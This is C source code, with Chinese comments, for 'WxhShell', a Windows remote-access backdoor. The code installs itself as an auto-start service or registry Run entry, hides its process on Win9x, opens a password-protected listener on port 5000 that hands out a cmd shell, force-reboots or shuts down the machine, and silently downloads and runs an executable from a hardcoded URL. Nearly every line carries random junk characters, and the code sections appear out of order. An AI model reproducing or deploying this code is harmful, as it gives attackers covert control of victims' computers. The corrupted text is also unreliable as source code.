  // 关机 $P >  
  case 'd': { A6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h/QXPdV  
    if(Boot(SHUTDOWN)) !4ocZmj\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wm+};L&_  
    else { q\9JgD)  
    closesocket(wsh); F#3Q_G^/  
    ExitThread(0); j"8ZM{aO  
    } SpIv#?  
    break; <v"R.<  
    } z{%<<pZ  
  // 获取shell @f_Lp%K  
  case 's': { W- $Z(Z XL  
    CmdShell(wsh); ")1:F>  
    closesocket(wsh); DHg :8%3x  
    ExitThread(0); y B81f  
    break; *[Imn\hu  
  } H9Gh>u]}  
  // 退出 RF?`vRZOe  
  case 'x': { sbfuzpg]*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 77 Q5d"sIi  
    CloseIt(wsh); /m!BY}4W  
    break; `_6C {<O  
    } H-!,yte  
  // 离开 8 v6(qBK  
  case 'q': { 6lZ3tdyNo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Gc9VF]o  
    closesocket(wsh); (fhb0i-  
    WSACleanup(); DcS+_>a\{l  
    exit(1); {Ea b j  
    break; x f'V{9*  
        } bS{bkE>  
  } "6("9"  
  } `{gHA+B  
nd`1m[7MNu  
  // 提示信息 4XL^D~V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oe ~'o'  
}  }t!Gey  
  } HRpte=`q  
$o!zUH~'v  
  return; tb 5`cube  
} !@5 9)  
[ XN={  
// shell模块句柄 qfX6TV5J}!  
int CmdShell(SOCKET sock) 7:e{;iG  
{ :S]\0;8]  
STARTUPINFO si; Q1lyj7c#x  
ZeroMemory(&si,sizeof(si)); V~qNyOtA]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ \r*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HGl|-nW>  
PROCESS_INFORMATION ProcessInfo; o]odxr  
char cmdline[]="cmd"; \a<wKTkn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hy9\57_#  
  return 0; 1l9 G[o *  
} *nd!)t  
UklUw  
// 自身启动模式 _OYasJUMG  
int StartFromService(void) 2bz2KB5>  
{ //B&k`u  
typedef struct ;2G*wR  
{ g%o(+d  
  DWORD ExitStatus; OU E (I3_  
  DWORD PebBaseAddress; }ZYd4h|g\z  
  DWORD AffinityMask; 3s*mbk[J  
  DWORD BasePriority; XMZ,Y7  
  ULONG UniqueProcessId; {.`vs;U  
  ULONG InheritedFromUniqueProcessId; @?ebuj5{e  
}   PROCESS_BASIC_INFORMATION; ]IaMp788  
~"gA,e-)  
PROCNTQSIP NtQueryInformationProcess; "2!&5s,1p  
C-xr"]#]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @b\$yB@z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1> ?M>vK  
n>z9K')  
  HANDLE             hProcess; 5; C|  
  PROCESS_BASIC_INFORMATION pbi; VCYwzB  
, };& tR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'I|v[G$l  
  if(NULL == hInst ) return 0; j\yjc/m  
H;is/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $L `d&$Vh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'JtBZFq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P-[-pi@  
#I.+aV+2oQ  
  if (!NtQueryInformationProcess) return 0; u$z`   
+SzU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3qgS&js 7  
  if(!hProcess) return 0; x%=si[P  
q$L%36u~/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '$Dn  
NCXRevE  
  CloseHandle(hProcess); ';k5?^T  
W<{h,j8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |o"?gB}Dh  
if(hProcess==NULL) return 0; 2F;y;l%  
E#34Wh2z  
HMODULE hMod; _ >?\DgjH  
char procName[255]; k:i4=5^*GX  
unsigned long cbNeeded; O ;Rqv  
/A\8 mL8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \0gis#  
B^=-Z8  
  CloseHandle(hProcess); pp?D7S  
m[osg< CR_  
if(strstr(procName,"services")) return 1; // 以服务启动 @ )F)S 7  
eSn+B;  
  return 0; // 注册表启动 Vsr.=Nd=  
} 1NFsb-<u  
bG"~"ipn%  
// 主模块 +.8 \p5  
int StartWxhshell(LPSTR lpCmdLine) rw[ph[\X  
{ d7^}tM  
  SOCKET wsl; yZ7&b&2nLn  
BOOL val=TRUE; (y'hyJo  
  int port=0; zC:ASt  
  struct sockaddr_in door; b)#hSjWO#  
-:^U_FL8un  
  if(wscfg.ws_autoins) Install(); n)/z0n!\  
ZmqKQO  
port=atoi(lpCmdLine); wVXS%4|v  
&<g|gsG`  
if(port<=0) port=wscfg.ws_port; f^ZRT@`O  
Rr$-tYy6  
  WSADATA data; Oxnp0 s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FgnTGY}  
t^-d/yKt0w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R+:yVi[F]U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OF>mF~  
  door.sin_family = AF_INET; 2>9C-VL2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hF?1y`20  
  door.sin_port = htons(port); 1#g2A0U,  
J( TkXNm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *-WpZGh  
closesocket(wsl); *U-4Sy  
return 1; .<?GS{6 N  
} yF:1( 4  
0 JS?;fk  
  if(listen(wsl,2) == INVALID_SOCKET) { bRDYGuC  
closesocket(wsl); e ,'_xV  
return 1; E`JI>7  
} 234p9A@  
  Wxhshell(wsl); o 11jca|  
  WSACleanup(); Xq4O@V  
E =67e=h  
return 0; R-wp9^  
&AMl:@p9  
} urc| D0n  
+QavYqPF  
// 以NT服务方式启动 ^0 )g/`H^>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G't$Qx,IC  
{ f)rq%N &  
DWORD   status = 0; FkDmP`Od  
  DWORD   specificError = 0xfffffff; %Xd[(Q)  
5ta `%R_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4B;=kL_f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f`(UQJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S}3fr^{.  
  serviceStatus.dwWin32ExitCode     = 0; ssA`I<p#  
  serviceStatus.dwServiceSpecificExitCode = 0; ,,.QfUj/&  
  serviceStatus.dwCheckPoint       = 0; FXCMR\BsQ  
  serviceStatus.dwWaitHint       = 0; ZoqZap6e  
P[-E@0h)-t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {W`%g^Z|H  
  if (hServiceStatusHandle==0) return; _ye |Y  
/N+dQe  
status = GetLastError(); q$UJ$ 7=f8  
  if (status!=NO_ERROR) 6v!`1} ~  
{ =?* !"&h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "cGk)s  
    serviceStatus.dwCheckPoint       = 0; N% B>M7-=  
    serviceStatus.dwWaitHint       = 0; =J==i?  
    serviceStatus.dwWin32ExitCode     = status; !,uE]gwLw  
    serviceStatus.dwServiceSpecificExitCode = specificError; e]aDP 1n3t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wm@@$  
    return; j_[tu!~  
  } h*a(_11  
",t?8465y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; **0~K";\  
  serviceStatus.dwCheckPoint       = 0; sdrfsrNvB-  
  serviceStatus.dwWaitHint       = 0; ]cvwIc">  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xu%k~4cB,  
} 9RL`<,Q  
aK~8B_5k8  
// 处理NT服务事件,比如:启动、停止 8`{:MkXP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aKDKmHd  
{ ;1=1:S8  
switch(fdwControl) pF>i-i  
{ }&D WaO]J7  
case SERVICE_CONTROL_STOP: {WS;dX4  
  serviceStatus.dwWin32ExitCode = 0; klYX7?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dpac^ST  
  serviceStatus.dwCheckPoint   = 0; <dNOd0e  
  serviceStatus.dwWaitHint     = 0; 3`?7 <YJ  
  { T<>,lQs(a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E=Bf1/c\  
  } Y-z(zS^1  
  return; \l0[rcEf  
case SERVICE_CONTROL_PAUSE: =%O6:YM   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fbvL7* (  
  break; /s?`&1v|r  
case SERVICE_CONTROL_CONTINUE: A\DCW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S@tLCqV4  
  break; ^ +\dz  
case SERVICE_CONTROL_INTERROGATE: #%2rP'He  
  break; 5;WH:XM  
}; 6_;icpN]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MchA{p&Ol  
} h" W,WxL8  
`(;m?<%  
// 标准应用程序主函数 /}Axf"OE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |-ALklXr  
{ Rv>-4@fMJ  
Q{>k1$fkV  
// 获取操作系统版本 Yh7t"=o  
OsIsNt=GetOsVer(); KF}hV9IU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dy&i&5E.-l  
=svN#q5s  
  // 从命令行安装 q<<v,ihh  
  if(strpbrk(lpCmdLine,"iI")) Install(); wJqMa9|  
o/)h"i0P  
  // 下载执行文件 JR|ck=tq  
if(wscfg.ws_downexe) { >y>5#[M!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HJH{nz'Lw  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jpq~  
} t?gic9 q  
NxY#NaE:?4  
if(!OsIsNt) { ^76]0`gS  
// 如果时win9x,隐藏进程并且设置为注册表启动 re<{ >  
HideProc(); t@;p  
StartWxhshell(lpCmdLine); wlvgg  
} Z{d^-  
else ajT*/L!0_  
  if(StartFromService()) .P]+? %&  
  // 以服务方式启动 @mBQ?; qlK  
  StartServiceCtrlDispatcher(DispatchTable); Y=KTeYW`  
else UkC!1Jy  
  // 普通方式启动 T-L||yE,h  
  StartWxhshell(lpCmdLine); vr l-$ii  
X?',n 1  
return 0; }.(B}/$u  
} bJ%h53  
+sA2WK]  
|df Pki{  
xo&_bMO  
=========================================== mJnIwdW*  
BxmWIItz  
;'K5J9k  
w& #]-|$  
&z3o7rif$  
@.l@\4m  
" T -2t.Xs  
aXYY:;  
#include <stdio.h> Y.UFbrv  
#include <string.h> 'H!Uh]!  
#include <windows.h> ,4$>,@WW~  
#include <winsock2.h> 0OE:[pR  
#include <winsvc.h> x9g#<2w8  
#include <urlmon.h> X_h}J=33Q  
n\DV3rXI9  
#pragma comment (lib, "Ws2_32.lib") {tZ.v@  
#pragma comment (lib, "urlmon.lib") m s \}  
{\5  
#define MAX_USER   100 // 最大客户端连接数 ~ 7s!VR  
#define BUF_SOCK   200 // sock buffer )10+@d  
#define KEY_BUFF   255 // 输入 buffer # W']6'O  
teF9Q+*~  
#define REBOOT     0   // 重启 \b x$i*  
#define SHUTDOWN   1   // 关机 2ilQXy  
~0$&3a<n1  
#define DEF_PORT   5000 // 监听端口 FZlWsp=  
oc`H}Wvn  
#define REG_LEN     16   // 注册表键长度 F41=b4/  
#define SVC_LEN     80   // NT服务名长度 3 0H?KAV  
,"ZMRq  
// 从dll定义API ?a5!H*,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T5h H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4[e X e$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zF<R'XP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @9s$4DS  
H{wl% G  
// wxhshell配置信息 L4HI0Mx  
struct WSCFG { /4Gt{yg Sr  
  int ws_port;         // 监听端口 jL luj   
  char ws_passstr[REG_LEN]; // 口令 R/YqyT\SM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5]0 <9a  
  char ws_regname[REG_LEN]; // 注册表键名 %h@EP[\  
  char ws_svcname[REG_LEN]; // 服务名 &8lZNv8;(p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e7 o.xR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3w'tH4C[Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nf\LN$ &8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o+'6`g'8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0l6.<-f{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (<9u-HF#  
&u !,Hp  
}; 02^rV*re  
mzgfFNm^G)  
// default Wxhshell configuration Zy/_ E@C}u  
struct WSCFG wscfg={DEF_PORT, ;=z:F<Y  
    "xuhuanlingzhe", @ 6vIap|  
    1, W<g1<z\f  
    "Wxhshell", fJg+Ryo  
    "Wxhshell", H:| uw  
            "WxhShell Service", PW0LG^xp`  
    "Wrsky Windows CmdShell Service", oEv 'dQ9  
    "Please Input Your Password: ", Dd|VMW=  
  1, 2^7`mES  
  "http://www.wrsky.com/wxhshell.exe", h376Be{P  
  "Wxhshell.exe" <hyKu  
    }; /{I$#:M  
eR>oq,  
// 消息定义模块 Bzf^ivT3L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > (<f 0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $& c*'3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *.[. {qG(  
char *msg_ws_ext="\n\rExit."; h*\%vr  
char *msg_ws_end="\n\rQuit."; RA 6w}:sq7  
char *msg_ws_boot="\n\rReboot..."; 9(Xn>G'iT  
char *msg_ws_poff="\n\rShutdown..."; SXh-A1t  
char *msg_ws_down="\n\rSave to "; wCBplaojJ  
:ws<-Qy  
char *msg_ws_err="\n\rErr!"; (bS&D/N.  
char *msg_ws_ok="\n\rOK!"; m&3xJuKih  
~} ~4  
char ExeFile[MAX_PATH]; Vurq t_nb  
int nUser = 0; %cn<ych G  
HANDLE handles[MAX_USER]; dZuOrTplA  
int OsIsNt; UEL _uij  
307I$*%W  
SERVICE_STATUS       serviceStatus; KI.hy2?e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vY3h3o  
n@3>6_^rwT  
// 函数声明 Q>z8IlJ}  
int Install(void); y~V(aih}D  
int Uninstall(void); *-X[u:  
int DownloadFile(char *sURL, SOCKET wsh); %BODkc Zh  
int Boot(int flag); PA*5Bk="q  
void HideProc(void); !4!~L k=  
int GetOsVer(void);  bN.Pex  
int Wxhshell(SOCKET wsl); DY*N|OnqJ  
void TalkWithClient(void *cs); kJR`:J3DJ  
int CmdShell(SOCKET sock); 2~V*5~fb  
int StartFromService(void); lB4WKn=?Kl  
int StartWxhshell(LPSTR lpCmdLine); 6S #Cl>v  
7yQ4*UB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lw,h+@0  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  M6TD"-  
/-s6<e!  
// 数据结构和表定义 |s_GlJV.  
SERVICE_TABLE_ENTRY DispatchTable[] = EqiY\/S  
{ #dHa,HUk  
{wscfg.ws_svcname, NTServiceMain}, yhJ@(tu.Gd  
{NULL, NULL} :4|4=mkr  
}; !)$Zp\Sg  
~TtiO#,t  
// 自我安装 +ZV5o&V>  
int Install(void) rm_Nn8p,  
{ Hn:Crl y#  
  char svExeFile[MAX_PATH]; 7+*WH|Z@  
  HKEY key;  D%Z|  
  strcpy(svExeFile,ExeFile); iy"*5<;*DD  
%iB,IEw  
// 如果是win9x系统,修改注册表设为自启动 O6Y0XL  
if(!OsIsNt) { 9+N-eW_U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :T~  [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EQ_aa@M7  
  RegCloseKey(key); h+,@G,|D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Q*Wi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp,R ^d  
  RegCloseKey(key); pR_9NfV{  
  return 0; \2z>?i)  
    } 5zJq9\)d+  
  } mkpMfPt  
} unxqkU/<Z  
else { ]$hBMuUa  
$cg cX  
// 如果是NT以上系统,安装为系统服务 Hr C+Yjp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t JmTBsn  
if (schSCManager!=0) 2 E= L8<  
{ dr"1s-D4IQ  
  SC_HANDLE schService = CreateService ~J]qP#C  
  ( rl.}%Ny  
  schSCManager, 7 8,n%=nG  
  wscfg.ws_svcname, X3& Jb2c2  
  wscfg.ws_svcdisp, ^J{:x  
  SERVICE_ALL_ACCESS, PY'2h4IL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y7<|_:00  
  SERVICE_AUTO_START, CJyevMf'  
  SERVICE_ERROR_NORMAL, +[ZY:ZQ  
  svExeFile, &5;"#:ORcK  
  NULL, (k P9hcV  
  NULL, (m$Y<{)2  
  NULL, +`15le`R  
  NULL, p<%d2@lp  
  NULL 4ppz,L,4  
  ); JGZBL{8  
  if (schService!=0) I=#$8l.*  
  { ^rz_f{c]-  
  CloseServiceHandle(schService); /kG_*>.Z  
  CloseServiceHandle(schSCManager); /_.|E]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IGgL7^MF  
  strcat(svExeFile,wscfg.ws_svcname); A}^mdw9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~M$Wd2Th  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G/W>S,(  
  RegCloseKey(key); atzX;@"K  
  return 0; >Gu M]qn  
    } iRBfx  
  } +,l-Nz  
  CloseServiceHandle(schSCManager); 'fW-Y!k%  
} mZBo~(}  
} ig"L\ C"T  
tX[WH\(xI  
return 1; bd`P0f?  
} 1Ws9WU  
H*6W q  
// 自我卸载 R-14=|7a-  
int Uninstall(void) _dU\JD  
{ v^P O|Z  
  HKEY key; NlXimq  
1mJ Hued=6  
if(!OsIsNt) { sRfcF`7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zeRyL3fnmb  
  RegDeleteValue(key,wscfg.ws_regname); m+9#5a-  
  RegCloseKey(key); @]0%L0u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (% 9$!v{3  
  RegDeleteValue(key,wscfg.ws_regname); 0{mex4  
  RegCloseKey(key); Zd&S@Z  
  return 0; ('~LMu_  
  } &Qm@9Is  
} V6Dbd" i9  
} ,,TnIouy  
else { $ Q0n  
31)&vf[[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fy$1YI>!Q  
if (schSCManager!=0) Kpp_|2|@<  
{ t,' <gI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h];I{crh  
  if (schService!=0) cCX*D_kCB  
  { (sj,[  
  if(DeleteService(schService)!=0) { [-&Zl(9&  
  CloseServiceHandle(schService); ]^]wP]R_  
  CloseServiceHandle(schSCManager); kVL.PY\K  
  return 0; }WV:erg`  
  } pk~WrqK}  
  CloseServiceHandle(schService); M=Wz  
  } )e{}V\;q  
  CloseServiceHandle(schSCManager); QW"! (`K  
} MQ4KdqgP  
} $!DpjN  
%)wjR/o  
return 1; \v/[6&|X0s  
} Ss`LLq0LO  
^}r1;W?n  
// 从指定url下载文件 T0 {Lq:  
int DownloadFile(char *sURL, SOCKET wsh) r*Xuj=  
{ 28nFRr  
  HRESULT hr; SAz   
char seps[]= "/"; ~ K=b\xc^  
char *token; Mp]rUPK  
char *file; pJ{Y lS{  
char myURL[MAX_PATH]; <vP=zk  
char myFILE[MAX_PATH]; ?# fQ~ s  
.^g p?  
strcpy(myURL,sURL); 'PHl$f*k  
  token=strtok(myURL,seps); +h$ 9\  
  while(token!=NULL) _-\#i  
  { 4I7>f]=)  
    file=token; #/]nxW.S  
  token=strtok(NULL,seps); ,vDbp?)'U  
  } d'2A,B~_*  
HTtnXBJ)*H  
GetCurrentDirectory(MAX_PATH,myFILE); saAF+H/=  
strcat(myFILE, "\\"); YS ][n_  
strcat(myFILE, file); qWw=8Bq  
  send(wsh,myFILE,strlen(myFILE),0); o(HbGHIP  
send(wsh,"...",3,0); j<x_&1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W%J\qA  
  if(hr==S_OK) +v\oOBB)  
return 0; NO3/rJ6-  
else j#6.Gq  
return 1; qb4z T  
e;jdqF~v!  
} 'VbiVLWD  
ME dWLFf  
// 系统电源模块 UI#h&j5pW  
int Boot(int flag) ww/Uzv  
{ =#\:}@J5I  
  HANDLE hToken; u4j5w  
  TOKEN_PRIVILEGES tkp; Q20 %"&Xp]  
he4(hX^  
  if(OsIsNt) { M`>E|" <  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {8OCXus3m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fIF8%J ^3  
    tkp.PrivilegeCount = 1; 36NpfTW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Uh$&m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A's{j7  
if(flag==REBOOT) { 3u;oQ5<(v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ys~x $  
  return 0; nlYNN/@"  
} putrSSL}  
else { ?EL zj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,)XLq8  
  return 0; _L PHPj^Pg  
} xwr8`?]y  
  } "8RSvT<W^5  
  else { ! z**y}<T  
if(flag==REBOOT) { P'2Qen*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E3i4=!Y  
  return 0; Zh,71Umz  
} g ?k=^C  
else {  eIlva?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <N)oS-m>  
  return 0; >bxS3FCX  
} `g,..Ns-r  
} Ngwb Q7)  
[~ fraK,)  
return 1; R@0R`Zs  
} p[-O( 3Y  
G"6 !{4g  
// win9x进程隐藏模块 O}P`P'Y|'  
void HideProc(void) :t[_:3@  
{ KP"+e:a%  
Rv=YFo[B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;,TFr}p`  
  if ( hKernel != NULL ) \8 ":]EU  
  { >V937  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yuVs YV@"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GmG 5[?)  
    FreeLibrary(hKernel); U(Zq= M  
  } 9z0p5)]n>  
Z.WW(C.  
return; S 5U;#H  
} VQs5"K"  
C}X\|J  
// 获取操作系统版本 n?Q|)2 2  
int GetOsVer(void) .N3mb6#[R  
{ @,}UWU  
  OSVERSIONINFO winfo; SKtrtm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -} +[  
  GetVersionEx(&winfo); S3#>9k;p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) So;<6~  
  return 1; .6> w'F{>  
  else z{6Z 11|  
  return 0; %C0Dw\A*:  
} ibw;}^m(  
D@KlOU{<  
// 客户端句柄模块 B1gR5p0  
int Wxhshell(SOCKET wsl) E@\e$?*X  
{ LscGTs,  
  SOCKET wsh; 5s XXM  
  struct sockaddr_in client; 5tnlrqC  
  DWORD myID; i1085ztN  
H::bwn`Vc  
  while(nUser<MAX_USER) CAlCDfKW}  
{ us.~G  
  int nSize=sizeof(client); +_`7G^U?%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E{\2='3\  
  if(wsh==INVALID_SOCKET) return 1; Y@v>FlqI{  
YQ} o?Q$z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fcx&hj1gQ  
if(handles[nUser]==0) .X&9Q9T=#  
  closesocket(wsh); ^pS~Z~[d/  
else jo7\`#(Q  
  nUser++; t:S+%u U  
  } LP-o8c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =AT."$r>  
So6x"1B  
  return 0; IgzQr >  
} 3R/bz0 V>  
'R)Tn!6  
// 关闭 socket KoRV %@I  
void CloseIt(SOCKET wsh)  \*da6Am  
{ 0_/[k*Re  
closesocket(wsh); y} '@R$  
nUser--; 2!\D PX  
ExitThread(0); iCoX& "lb  
} "tZe>>I  
K:M8h{Ua  
// 客户端请求句柄 =D(j)<9$A  
void TalkWithClient(void *cs) WxDh;*am:  
{ cNrg#Asen&  
Q59suL   
  SOCKET wsh=(SOCKET)cs; @W<m 4fi  
  char pwd[SVC_LEN]; ^OdP4m( >>  
  char cmd[KEY_BUFF]; =wJX 0A|  
char chr[1]; K"6vXv4QO  
int i,j; iscz}E,Y  
`V1]k_h  
  while (nUser < MAX_USER) { sA~]$A;DM!  
Sdo-nt  
if(wscfg.ws_passstr) { Ef\ -VKh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hP h-+Hb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s~>}a  
  //ZeroMemory(pwd,KEY_BUFF); r%_djUd  
      i=0; U:`Kss`  
  while(i<SVC_LEN) { =I<R!ZSN  
aXVFc5C\  
  // 设置超时 Qrv<lE1V;  
  fd_set FdRead; t1".0  
  struct timeval TimeOut; baasGa3}s  
  FD_ZERO(&FdRead); kstIgcI  
  FD_SET(wsh,&FdRead); b>|6t~}M  
  TimeOut.tv_sec=8; W^Yxny  
  TimeOut.tv_usec=0; l} /F*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hxx.9x>ow  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K9[UB  
H}!r|nG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' QG?nu  
  pwd=chr[0]; _t$sgz&  
  if(chr[0]==0xd || chr[0]==0xa) { 1\Xw3prH  
  pwd=0; pmM9,6P4@  
  break; Z;i:](  
  } F2WKd1U  
  i++; W!X@  
    } |4JEU3\$  
4 5e~6",  
  // 如果是非法用户,关闭 socket 7v kL1IA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s%S  
} Hz~zu{;{J  
CAJ'zA|o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r$1Qf}J3=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yevPHN"M  
)4OxY[2J  
while(1) { {=WgzP  
yfSmDPh  
  ZeroMemory(cmd,KEY_BUFF); hM{bavd  
3F3A%C%  
      // 自动支持客户端 telnet标准   i. "v4D  
  j=0; 8y L Y  
  while(j<KEY_BUFF) { zda 3 ,U2o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UZMd~|  
  cmd[j]=chr[0]; uT{q9=w  
  if(chr[0]==0xa || chr[0]==0xd) { uD'6mk*  
  cmd[j]=0; &&+H+{_Q  
  break; ]'}L 1r  
  } )UR7i8]!0  
  j++; VRMXtQ*1Dm  
    } pb}*\/s  
$X6h|?3U,  
  // 下载文件 }pYqWTG  
  if(strstr(cmd,"http://")) { >j/w@Fj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f?Lw)hMrA  
  if(DownloadFile(cmd,wsh)) KHme&yMq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]`K2 N  
  else vgPCQO([  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sT)CxOV  
  } }j%5t ~Qa  
  else { \85i+q:LuA  
